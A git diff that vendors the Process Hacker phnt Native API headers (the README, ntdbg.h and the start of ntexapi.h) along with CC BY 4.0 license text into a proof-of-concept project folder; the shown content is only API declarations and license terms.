License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar + Rights. + + d. Effective Technological Measures means those measures that, in the + absence of proper authority, may not be circumvented under laws + fulfilling obligations under Article 11 of the WIPO Copyright + Treaty adopted on December 20, 1996, and/or similar international + agreements. + + e. Exceptions and Limitations means fair use, fair dealing, and/or + any other exception or limitation to Copyright and Similar Rights + that applies to Your use of the Licensed Material. + + f. Licensed Material means the artistic or literary work, database, + or other material to which the Licensor applied this Public + License. + + g. Licensed Rights means the rights granted to You subject to the + terms and conditions of this Public License, which are limited to + all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. + + h. Licensor means the individual(s) or entity(ies) granting rights + under this Public License. + + i. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such + as reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material + available to the public including in ways that members of the + public may access the material from a place and at a time + individually chosen by them. + + j. Sui Generis Database Rights means rights other than copyright + resulting from Directive 96/9/EC of the European Parliament and of + the Council of 11 March 1996 on the legal protection of databases, + as amended and/or succeeded, as well as other essentially + equivalent rights anywhere in the world. + + k. You means the individual or entity exercising the Licensed Rights + under this Public License. Your has a corresponding meaning. + + +Section 2 -- Scope. + + a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part; and + + b. produce, reproduce, and Share Adapted Material. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + + b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties. + + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + + a. Attribution. + + 1. If You Share the Licensed Material (including in modified + form), You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + 4. If You Share Adapted Material You produce, the Adapter's + License You apply must not prevent recipients of the Adapted + Material from complying with this Public License. + + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + + a. for the avoidance of doubt, Section 2(a)(1) grants You the right + to extract, reuse, reproduce, and Share all or a substantial + portion of the contents of the database; + + b. if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database + Rights, then the database in which You have Sui Generis Database + Rights (but not its individual contents) is Adapted Material; and + + c. You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other Copyright and Similar Rights. + + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + + a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE + EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS + AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF + ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, + IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, + WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, + ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT + KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT + ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + + b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE + TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, + NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, + INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, + COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR + USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN + ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR + DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR + IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + + c. The disclaimer of warranties and limitation of liability provided + above shall be interpreted in a manner that, to the extent + possible, most closely approximates an absolute disclaimer and + waiver of all liability. + + +Section 6 -- Term and Termination. + + a. This Public License applies for the term of the Copyright and + Similar Rights licensed here. However, if You fail to comply with + this Public License, then Your rights under this Public License + terminate automatically. + + b. Where Your right to use the Licensed Material has terminated under + Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + + c. For the avoidance of doubt, the Licensor may also offer the + Licensed Material under separate terms or conditions or stop + distributing the Licensed Material at any time; however, doing so + will not terminate this Public License. + + d. Sections 1, 5, 6, 7, and 8 survive termination of this Public + License. + + +Section 7 -- Other Terms and Conditions. + + a. The Licensor shall not be bound by any additional or different + terms or conditions communicated by You unless expressly agreed. + + b. Any arrangements, understandings, or agreements regarding the + Licensed Material not stated herein are separate from and + independent of the terms and conditions of this Public License. + + +Section 8 -- Interpretation. + + a. For the avoidance of doubt, this Public License does not, and + shall not be interpreted to, reduce, limit, restrict, or impose + conditions on any use of the Licensed Material that could lawfully + be made without permission under this Public License. + + b. To the extent possible, if any provision of this Public License is + deemed unenforceable, it shall be automatically reformed to the + minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License + without affecting the enforceability of the remaining terms and + conditions. + + c. No term or condition of this Public License will be waived and no + failure to comply consented to unless expressly agreed to by the + Licensor. + + d. Nothing in this Public License constitutes or may be interpreted + as a limitation upon, or waiver of, any privileges and immunities + that apply to the Licensor or You, including from the legal + processes of any jurisdiction or authority. + + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/README.md b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/README.md new file mode 100644 index 00000000..1516aa7f --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/README.md @@ -0,0 +1,24 @@ +This collection of Native API header files has been maintained since 2009 for the Process Hacker project, and is the most up-to-date set of Native API definitions that we know of. We have gathered these definitions from official Microsoft header files and symbol files, as well as a lot of reverse engineering and guessing. See `phnt.h` for more information. + +## Usage + +First make sure that your program is using the latest Windows SDK. + +These header files are designed to be used by user-mode programs. Instead of `#include `, place + +``` +#include +#include +``` + +at the top of your program. The first line provides access to the Win32 API as well as the `NTSTATUS` values. The second line provides access to the entire Native API. By default, only definitions present in Windows XP are included into your program. To change this, use one of the following: + +``` +#define PHNT_VERSION PHNT_WINXP // Windows XP +#define PHNT_VERSION PHNT_WS03 // Windows Server 2003 +#define PHNT_VERSION PHNT_VISTA // Windows Vista +#define PHNT_VERSION PHNT_WIN7 // Windows 7 +#define PHNT_VERSION PHNT_WIN8 // Windows 8 +#define PHNT_VERSION PHNT_WINBLUE // Windows 8.1 +#define PHNT_VERSION PHNT_THRESHOLD // Windows 10 +``` diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntdbg.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntdbg.h new file mode 100644 index 00000000..23fca78b --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntdbg.h @@ -0,0 +1,377 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTDBG_H +#define _NTDBG_H + +// Debugging + +NTSYSAPI +VOID +NTAPI +DbgUserBreakPoint( + VOID + ); + +NTSYSAPI +VOID +NTAPI +DbgBreakPoint( + VOID + ); + +NTSYSAPI +VOID +NTAPI +DbgBreakPointWithStatus( + _In_ ULONG Status + ); + +#define DBG_STATUS_CONTROL_C 1 +#define DBG_STATUS_SYSRQ 2 +#define DBG_STATUS_BUGCHECK_FIRST 3 +#define DBG_STATUS_BUGCHECK_SECOND 4 +#define DBG_STATUS_FATAL 5 +#define DBG_STATUS_DEBUG_CONTROL 6 +#define DBG_STATUS_WORKER 7 + +NTSYSAPI +ULONG +STDAPIVCALLTYPE +DbgPrint( + _In_z_ _Printf_format_string_ PSTR Format, + ... + ); + +NTSYSAPI +ULONG +STDAPIVCALLTYPE +DbgPrintEx( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ _Printf_format_string_ PSTR Format, + ... + ); + +NTSYSAPI +ULONG +NTAPI +vDbgPrintEx( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ PCH Format, + _In_ va_list arglist + ); + +NTSYSAPI +ULONG +NTAPI +vDbgPrintExWithPrefix( + _In_z_ PCH Prefix, + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ PCH Format, + _In_ va_list arglist + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State + ); + +NTSYSAPI +ULONG +NTAPI +DbgPrompt( + _In_ PCH Prompt, + _Out_writes_bytes_(Length) PCH Response, + _In_ ULONG Length + ); + +// Definitions + +typedef struct _DBGKM_EXCEPTION +{ + EXCEPTION_RECORD ExceptionRecord; + ULONG FirstChance; +} DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; + +typedef struct _DBGKM_CREATE_THREAD +{ + ULONG SubSystemKey; + PVOID StartAddress; +} DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; + +typedef struct _DBGKM_CREATE_PROCESS +{ + ULONG SubSystemKey; + HANDLE FileHandle; + PVOID BaseOfImage; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + DBGKM_CREATE_THREAD InitialThread; +} DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; + +typedef struct _DBGKM_EXIT_THREAD +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; + +typedef struct _DBGKM_EXIT_PROCESS +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; + +typedef struct _DBGKM_LOAD_DLL +{ + HANDLE FileHandle; + PVOID BaseOfDll; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + PVOID NamePointer; +} DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; + +typedef struct _DBGKM_UNLOAD_DLL +{ + PVOID BaseAddress; +} DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; + +typedef enum _DBG_STATE +{ + DbgIdle, + DbgReplyPending, + DbgCreateThreadStateChange, + DbgCreateProcessStateChange, + DbgExitThreadStateChange, + DbgExitProcessStateChange, + DbgExceptionStateChange, + DbgBreakpointStateChange, + DbgSingleStepStateChange, + DbgLoadDllStateChange, + DbgUnloadDllStateChange +} DBG_STATE, *PDBG_STATE; + +typedef struct _DBGUI_CREATE_THREAD +{ + HANDLE HandleToThread; + DBGKM_CREATE_THREAD NewThread; +} DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD; + +typedef struct _DBGUI_CREATE_PROCESS +{ + HANDLE HandleToProcess; + HANDLE HandleToThread; + DBGKM_CREATE_PROCESS NewProcess; +} DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS; + +typedef struct _DBGUI_WAIT_STATE_CHANGE +{ + DBG_STATE NewState; + CLIENT_ID AppClientId; + union + { + DBGKM_EXCEPTION Exception; + DBGUI_CREATE_THREAD CreateThread; + DBGUI_CREATE_PROCESS CreateProcessInfo; + DBGKM_EXIT_THREAD ExitThread; + DBGKM_EXIT_PROCESS ExitProcess; + DBGKM_LOAD_DLL LoadDll; + DBGKM_UNLOAD_DLL UnloadDll; + } StateInfo; +} DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; + +#define DEBUG_READ_EVENT 0x0001 +#define DEBUG_PROCESS_ASSIGN 0x0002 +#define DEBUG_SET_INFORMATION 0x0004 +#define DEBUG_QUERY_INFORMATION 0x0008 +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ + DEBUG_QUERY_INFORMATION) + +#define DEBUG_KILL_ON_CLOSE 0x1 + +typedef enum _DEBUGOBJECTINFOCLASS +{ + DebugObjectUnusedInformation, + DebugObjectKillProcessOnExitInformation, + MaxDebugObjectInfoClass +} DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS; + +// System calls + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDebugObject( + _Out_ PHANDLE DebugObjectHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDebugActiveProcess( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDebugContinue( + _In_ HANDLE DebugObjectHandle, + _In_ PCLIENT_ID ClientId, + _In_ NTSTATUS ContinueStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveProcessDebug( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationDebugObject( + _In_ HANDLE DebugObjectHandle, + _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + _In_ PVOID DebugInformation, + _In_ ULONG DebugInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForDebugEvent( + _In_ HANDLE DebugObjectHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout, + _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange + ); + +// Debugging UI + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConnectToDbg( + VOID + ); + +NTSYSAPI +HANDLE +NTAPI +DbgUiGetThreadDebugObject( + VOID + ); + +NTSYSAPI +VOID +NTAPI +DbgUiSetThreadDebugObject( + _In_ HANDLE DebugObject + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiWaitStateChange( + _Out_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiContinue( + _In_ PCLIENT_ID AppClientId, + _In_ NTSTATUS ContinueStatus + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiStopDebugging( + _In_ HANDLE Process + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + _In_ HANDLE Process + ); + +NTSYSAPI +VOID +NTAPI +DbgUiRemoteBreakin( + _In_ PVOID Context + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiIssueRemoteBreakin( + _In_ HANDLE Process + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConvertStateChangeStructure( + _In_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _Out_ LPDEBUG_EVENT DebugEvent + ); + +struct _EVENT_FILTER_DESCRIPTOR; + +typedef VOID (NTAPI *PENABLECALLBACK)( + _In_ LPCGUID SourceId, + _In_ ULONG IsEnabled, + _In_ UCHAR Level, + _In_ ULONGLONG MatchAnyKeyword, + _In_ ULONGLONG MatchAllKeyword, + _In_opt_ struct _EVENT_FILTER_DESCRIPTOR *FilterData, + _Inout_opt_ PVOID CallbackContext + ); + +typedef ULONGLONG REGHANDLE, *PREGHANDLE; + +NTSYSAPI +NTSTATUS +NTAPI +EtwEventRegister( + _In_ LPCGUID ProviderId, + _In_opt_ PENABLECALLBACK EnableCallback, + _In_opt_ PVOID CallbackContext, + _Out_ PREGHANDLE RegHandle + ); + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntexapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntexapi.h new file mode 100644 index 00000000..51c62287 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntexapi.h @@ -0,0 +1,4284 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTEXAPI_H +#define _NTEXAPI_H + +#include + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +// Thread execution + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDelayExecution( + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER DelayInterval + ); + +// Environment values + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _Out_writes_bytes_(ValueLength) PWSTR VariableValue, + _In_ USHORT ValueLength, + _Out_opt_ PUSHORT ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _In_ PUNICODE_STRING VariableValue + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _Out_writes_bytes_opt_(*ValueLength) PVOID Value, + _Inout_ PULONG ValueLength, + _Out_opt_ PULONG Attributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _In_reads_bytes_opt_(ValueLength) PVOID Value, + _In_ ULONG ValueLength, + _In_ ULONG Attributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateSystemEnvironmentValuesEx( + _In_ ULONG InformationClass, + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength + ); + +// EFI + +// private +typedef struct _BOOT_ENTRY +{ + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[1]; +} BOOT_ENTRY, *PBOOT_ENTRY; + +// private +typedef struct _BOOT_ENTRY_LIST +{ + ULONG NextEntryOffset; + BOOT_ENTRY BootEntry; +} BOOT_ENTRY_LIST, *PBOOT_ENTRY_LIST; + +// private +typedef struct _BOOT_OPTIONS +{ + ULONG Version; + ULONG Length; + ULONG Timeout; + ULONG CurrentBootEntryId; + ULONG NextBootEntryId; + WCHAR HeadlessRedirection[1]; +} BOOT_OPTIONS, *PBOOT_OPTIONS; + +// private +typedef struct _FILE_PATH +{ + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[1]; +} FILE_PATH, *PFILE_PATH; + +// private +typedef struct _EFI_DRIVER_ENTRY +{ + ULONG Version; + ULONG Length; + ULONG Id; + ULONG FriendlyNameOffset; + ULONG DriverFilePathOffset; +} EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY; + +// private +typedef struct _EFI_DRIVER_ENTRY_LIST +{ + ULONG NextEntryOffset; + EFI_DRIVER_ENTRY DriverEntry; +} EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST; + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddBootEntry( + _In_ PBOOT_ENTRY BootEntry, + _Out_opt_ PULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteBootEntry( + _In_ ULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtModifyBootEntry( + _In_ PBOOT_ENTRY BootEntry + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateBootEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryBootEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetBootEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryBootOptions( + _Out_writes_bytes_opt_(*BootOptionsLength) PBOOT_OPTIONS BootOptions, + _Inout_ PULONG BootOptionsLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetBootOptions( + _In_ PBOOT_OPTIONS BootOptions, + _In_ ULONG FieldsToChange + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTranslateFilePath( + _In_ PFILE_PATH InputFilePath, + _In_ ULONG OutputType, + _Out_writes_bytes_opt_(*OutputFilePathLength) PFILE_PATH OutputFilePath, + _Inout_opt_ PULONG OutputFilePathLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry, + _Out_opt_ PULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteDriverEntry( + _In_ ULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtModifyDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateDriverEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDriverEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDriverEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count + ); + +typedef enum _FILTER_BOOT_OPTION_OPERATION +{ + FilterBootOptionOperationOpenSystemStore, + FilterBootOptionOperationSetElement, + FilterBootOptionOperationDeleteElement, + FilterBootOptionOperationMax +} FILTER_BOOT_OPTION_OPERATION; + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterBootOption( + _In_ FILTER_BOOT_OPTION_OPERATION FilterOperation, + _In_ ULONG ObjectType, + _In_ ULONG ElementType, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize + ); +#endif + +#endif + +// Event + +#ifndef EVENT_QUERY_STATE +#define EVENT_QUERY_STATE 0x0001 +#endif + +typedef enum _EVENT_INFORMATION_CLASS +{ + EventBasicInformation +} EVENT_INFORMATION_CLASS; + +typedef struct _EVENT_BASIC_INFORMATION +{ + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEventBoostPriority( + _In_ HANDLE EventHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtClearEvent( + _In_ HANDLE EventHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtResetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPulseEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_writes_bytes_(EventInformationLength) PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +// Event Pair + +#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetLowEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetHighEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitLowEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitHighEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetLowWaitHighEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetHighWaitLowEventPair( + _In_ HANDLE EventPairHandle + ); + +// Mutant + +typedef enum _MUTANT_INFORMATION_CLASS +{ + MutantBasicInformation, + MutantOwnerInformation +} MUTANT_INFORMATION_CLASS; + +typedef struct _MUTANT_BASIC_INFORMATION +{ + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; + +typedef struct _MUTANT_OWNER_INFORMATION 